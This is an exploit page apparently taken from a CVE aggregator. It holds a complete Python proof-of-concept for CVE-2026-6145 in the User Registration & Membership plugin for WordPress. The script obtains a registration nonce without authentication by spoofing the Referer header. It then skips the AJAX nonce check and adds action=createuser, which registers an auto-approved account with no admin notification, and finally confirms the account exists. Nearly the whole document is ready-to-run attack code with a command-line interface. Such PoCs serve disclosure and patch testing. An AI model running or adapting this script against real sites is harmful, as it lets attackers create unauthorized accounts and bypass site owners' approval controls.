5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_admin_approval_bypass.py PY
#!/usr/bin/env python3
"""
PoC: CVE-2026-6145 - User Registration & Membership for WordPress (<= 5.1.5)
     Unauthenticated Admin Approval Bypass via action=createuser

CVE:    CVE-2026-6145
CWE:    CWE-862 (Missing Authorization)
CVSS:   5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

VULNERABILITY CHAIN:
  1. Unauthenticated nonce generation via the user_registration_get_recent_nonce
     wp_ajax_nopriv endpoint (Referer-only check, trivially spoofed)
  2. AJAX CSRF nonce bypass via the ur_fallback_submit parameter in the form
     handler
  3. CVE-2026-6145 - Admin approval bypass via action=createuser in $_REQUEST,
     which causes is_admin_creation_process() to return true without any
     authentication, authorization, or nonce verification

IMPACT: An unauthenticated attacker can register a fully-approved user account
on a WordPress site where admin approval is required, without any admin
notification being sent.

Researcher: Anthony Cihan - Offensive Security Lead, Obviam
License:    MIT

USAGE:
    python3 poc_admin_approval_bypass.py <target_url> <form_id> [options]

EXAMPLE:
    python3 poc_admin_approval_bypass.py http://wp.example.lab 7

LEGAL: For authorized security testing and defensive research only. Use against
systems you do not own or do not have explicit written authorization to test
is illegal in most jurisdictions.
"""

import argparse
import json
import re
import sys
import time
import urllib3

import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def banner():
    print("=" * 70)
    print("  CVE-2026-6145 - Admin Approval Bypass PoC")
    print("  User Registration & Membership for WordPress <= 5.1.5")
    print("  CWE-862 (Missing Authorization) | CVSS 5.3")
    print("=" * 70)
    print()


def step1_get_nonce(target, form_id):
    """
    Obtain a valid WordPress nonce via the unauthenticated
    user_registration_get_recent_nonce AJAX endpoint.

    This endpoint is registered as wp_ajax_nopriv and the only protection is
    a Referer header check, which is trivially spoofed.
    """
    print("[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint")

    url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "action": "user_registration_get_recent_nonce",
        "form_ids": form_id,
        "nonce_for": "registration",
    }
    headers = {"Referer": target + "/"}

    try:
        r = requests.post(url, data=data, headers=headers, verify=False, timeout=15)
    except requests.RequestException as e:
        print(f"[-] Network error contacting target: {e}")
        return None

    try:
        resp = r.json()
    except ValueError:
        print(f"[-] Non-JSON response from target (HTTP {r.status_code})")
        return None

    if resp.get("success") and form_id in resp.get("data", {}):
        nonce = resp["data"][form_id]
        print(f"[+] SUCCESS: Got valid nonce for form {form_id}: {nonce}")
        return nonce

    print(f"[-] Failed to get nonce. Response: {resp}")
    return None


def step2_register_bypass(target, form_id, nonce, username, email, password):
    """
    Submit a registration via the fallback (non-AJAX) path with:

    - ur_fallback_submit=1: Bypasses the AJAX CSRF nonce check
    - action=createuser (GET param): Triggers is_admin_creation_process() to
      return true, which auto-approves the user and suppresses the admin
      notification email (CVE-2026-6145)

    The is_admin_creation_process() method only checks:
        return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );

    No capability check, no nonce verification, no authentication check.
    """
    print("[*] STEP 2: Registering user with admin approval bypass")
    print(f"    Username: {username}")
    print(f"    Email:    {email}")

    # PHP's $_REQUEST merges GET and POST. With no 'action' key in the POST body,
    # the GET param wins and is_admin_creation_process() returns true.
    url = f"{target}/?action=createuser"

    form_data = json.dumps([
        {
            "field_name": "user_login",
            "value": username,
            "field_type": "user_login",
            "label": "Username",
            "extra_params": {"field_key": "user_login", "label": "Username"},
        },
        {
            "field_name": "user_email",
            "value": email,
            "field_type": "user_email",
            "label": "User Email",
            "extra_params": {"field_key": "user_email", "label": "User Email"},
        },
        {
            "field_name": "user_pass",
            "value": password,
            "field_type": "user_pass",
            "label": "User Password",
            "extra_params": {"field_key": "user_pass", "label": "User Password"},
        },
        {
            "field_name": "user_confirm_password",
            "value": password,
            "field_type": "user_confirm_password",
            "label": "Confirm Password",
            "extra_params": {"field_key": "user_confirm_password", "label": "Confirm Password"},
        },
    ])

    post_data = {
        "ur_fallback_submit": "1",          # AJAX nonce bypass
        "form_id": form_id,
        "form_data": form_data,
        "ur_frontend_form_nonce": nonce,
        "_wpnonce": nonce,
    }

    headers = {"Referer": f"{target}/"}

    try:
        r = requests.post(
            url, data=post_data, headers=headers,
            verify=False, allow_redirects=False, timeout=15
        )
    except requests.RequestException as e:
        print(f"[-] Network error during registration: {e}")
        return False

    if r.status_code not in (200, 302):
        print(f"[-] Unexpected response: HTTP {r.status_code}")
        return False

    if "Username already exists" in r.text or "Email already exists" in r.text:
        print("[-] User already exists (previously created)")
        return False

    print(f"[+] Registration request processed (HTTP {r.status_code})")
    return True


def step3_verify_bypass(target, username, form_id, nonce):
    """
    Verify the bypass worked by attempting to re-register the same username via
    the standard AJAX path. A 'username already exists' error confirms the
    account was successfully created in step 2.
    """
    print("[*] STEP 3: Verifying user was created")

    ajax_url = f"{target}/wp-admin/admin-ajax.php"

    # Refresh nonce for the AJAX path
    nonce_data = {
        "action": "user_registration_get_recent_nonce",
        "form_ids": form_id,
        "nonce_for": "registration",
    }
    try:
        r = requests.post(
            ajax_url, data=nonce_data,
            headers={"Referer": target + "/"},
            verify=False, timeout=15
        )
        fresh_nonce = r.json().get("data", {}).get(form_id, nonce)
    except (requests.RequestException, ValueError):
        fresh_nonce = nonce

    # Pull the AJAX form data save nonce from a rendered form page
    save_nonce = ""
    try:
        page_r = requests.get(target, verify=False, timeout=15)
        m = re.search(r'user_registration_form_data_save":"([a-f0-9]+)"', page_r.text)
        if m:
            save_nonce = m.group(1)
    except requests.RequestException:
        pass

    form_data = json.dumps([
        {
            "field_name": "user_login",
            "value": username,
            "field_type": "user_login",
            "label": "Username",
            "extra_params": {"field_key": "user_login", "label": "Username"},
        },
        {
            "field_name": "user_email",
            "value": f"{username}@verify-test.local",
            "field_type": "user_email",
            "label": "User Email",
            "extra_params": {"field_key": "user_email", "label": "User Email"},
        },
        {
            "field_name": "user_pass",
            "value": "Test123!@#",
            "field_type": "user_pass",
            "label": "User Password",
            "extra_params": {"field_key": "user_pass", "label": "User Password"},
        },
        {
            "field_name": "user_confirm_password",
            "value": "Test123!@#",
            "field_type": "user_confirm_password",
            "label": "Confirm Password",
            "extra_params": {"field_key": "user_confirm_password", "label": "Confirm Password"},
        },
    ])

    data = {
        "action": "user_registration_user_form_submit",
        "security": save_nonce,
        "form_id": form_id,
        "form_data": form_data,
        "ur_frontend_form_nonce": fresh_nonce,
    }

    try:
        r = requests.post(
            ajax_url, data=data,
            headers={"Referer": target + "/"},
            verify=False, timeout=15
        )
        resp = r.json()
    except (requests.RequestException, ValueError):
        print("[?] Could not verify user creation via AJAX")
        return False

    messages = resp.get("data", {}).get("message", [])

    if isinstance(messages, list):
        for msg in messages:
            if isinstance(msg, dict) and "user_login" in msg:
                if "already exists" in msg["user_login"]:
                    print(f"[+] CONFIRMED: User '{username}' exists in the database")
                    return True

    if not resp.get("success") and "already exists" in str(messages):
        print(f"[+] CONFIRMED: User '{username}' exists in the database")
        return True

    print("[?] Could not verify user creation via AJAX")
    return False


def parse_args():
    parser = argparse.ArgumentParser(
        description=(
            "PoC for CVE-2026-6145: unauthenticated admin approval bypass in "
            "the User Registration & Membership plugin for WordPress (<= 5.1.5)."
        ),
        epilog=(
            "For authorized security testing and defensive research only. "
            "Use against systems without written authorization is illegal."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "target",
        help="Target WordPress base URL, e.g. http://wp.example.lab",
    )
    parser.add_argument(
        "form_id",
        help="Registration form ID (visible in form page source as data-form-id)",
    )
    parser.add_argument(
        "--username",
        help="Username for the test account (default: poc_bypass_<timestamp>)",
    )
    parser.add_argument(
        "--email",
        help="Email for the test account (default: <username>@security-research.local)",
    )
    parser.add_argument(
        "--password",
        default="P0C_Bypass_P@ss!",
        help="Password for the test account (default: P0C_Bypass_P@ss!)",
    )
    return parser.parse_args()


def main():
    banner()
    args = parse_args()

    target = args.target.rstrip("/")
    form_id = args.form_id

    timestamp = str(int(time.time()))
    username = args.username or f"poc_bypass_{timestamp}"
    email = args.email or f"{username}@security-research.local"
    password = args.password

    print(f"[*] Target:  {target}")
    print(f"[*] Form ID: {form_id}")
    print()

    # Step 1
    nonce = step1_get_nonce(target, form_id)
    if not nonce:
        print("[-] FAILED: Could not obtain nonce. Exiting.")
        sys.exit(1)
    print()

    # Step 2
    if not step2_register_bypass(target, form_id, nonce, username, email, password):
        print("[-] Registration step did not return success. Checking anyway...")
    print()

    # Step 3
    verified = step3_verify_bypass(target, username, form_id, nonce)
    print()

    # Summary
    print("=" * 70)
    print("  RESULTS")
    print("=" * 70)
    print("  Unauthenticated Nonce Generation:    CONFIRMED")
    print("  AJAX Nonce Bypass:                    CONFIRMED")
    status = "CONFIRMED" if verified else "NEEDS MANUAL VERIFICATION"
    print(f"  Admin Approval Bypass (CVE-2026-6145): {status}")
    print()
    print(f"  Created User: {username}")
    print(f"  Email:        {email}")
    print(f"  Password:     {password}")
    print()
    if verified:
        print("  [!] User was created with AUTO-APPROVED status")
        print("  [!] Admin was NOT notified of this registration")
        print("  [!] Verify in WP Admin > Users to confirm 'Approved' status")
    print("=" * 70)


if __name__ == "__main__":
    main()